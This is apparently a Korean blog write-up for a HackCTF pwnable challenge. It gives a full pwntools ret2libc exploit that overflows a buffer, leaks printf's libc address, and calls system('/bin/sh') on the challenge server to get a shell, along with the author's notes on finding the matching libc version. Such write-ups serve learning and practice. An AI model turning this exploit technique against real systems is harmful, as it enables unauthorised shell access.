문제 풀이 환경 : ubuntu 20.04 |
처음에 ROP로 풀까 생각하다가 libc 파일이 없기도하고(버전 찾기 귀찮) 마침 NX bit도 없어서 shellcode 박았다. 하지만 공부를 위해 ROP 기법을 이용하여 풀었다.
자세한(?) 분석은 아래 참고
[HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! 풀이 (shellcode)
Let's exploit (local)
from pwn import *
#p = process('./prob1')
p = remote('ctf.j0n9hyun.xyz', 3003)
e = ELF('./prob1')
libc = ELF('./libc_1.so')
#libc = e.libc
printf_plt = e.plt['printf']
printf_got = e.got['printf']
main = e.symbols['main']
payload = ''
payload += 'A'*0x18
payload += p32(printf_plt)
payload += p32(main)
payload += p32(printf_got)
p.sendlineafter(': ', 'AAAA')
pause()
p.sendlineafter(': ', payload)
#p.recv(len(payload))
printf_addr = u32(p.recv(4))
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
libc_base = printf_addr - printf_offset
log.info('printf_addr : ' + hex(printf_addr))
log.info('libc_base : ' + hex(libc_base))
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
# exploit
payload = ''
payload += 'A'*0x18
payload += p32(system_addr)
payload += 'AAAA'
payload += p32(binsh_addr)
p.sendlineafter(': ', 'AAAA')
p.sendlineafter(': ', payload)
p.interactive()
로컬에서는 잘 되는데 리모트에서는 잘 안된다. 왜지 ㅇㅅㅇ
Let's exploit (remote)
libc 버전 찾기
난 굉장히 억울하다...
왜그럴까요 ㅇㅅㅇ.. 도와주십쇼
해결책을 찾았다! 저 libc database 사이트 말고 다른 사이트를 이용하자.
libc.nullbyte.cat/?q=gets%3A890%2Cprintf%3A020
사진에서 두번째가 이 서버의 libc 파일이다.
정상적으로 flag 획득 흑흑
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] x64 Simple_size_BOF 풀이 (64bit, shellcode) (0) | 2021.03.09 |
---|---|
[HackCTF : Pwnable] x64 Buffer Overflow 풀이 (64bit, BOF) (0) | 2021.03.05 |
[HackCTF : Pwnable] 내 버퍼가 흘러넘친다!!! 풀이 (shellcode) (0) | 2021.03.04 |
[HackCTF : Pwnable] Basic_FSB 풀이 (32bit, FSB) (0) | 2021.03.04 |
[HackCTF : Pwnable] ROP 풀이 (일단 익스코드만) (0) | 2020.09.26 |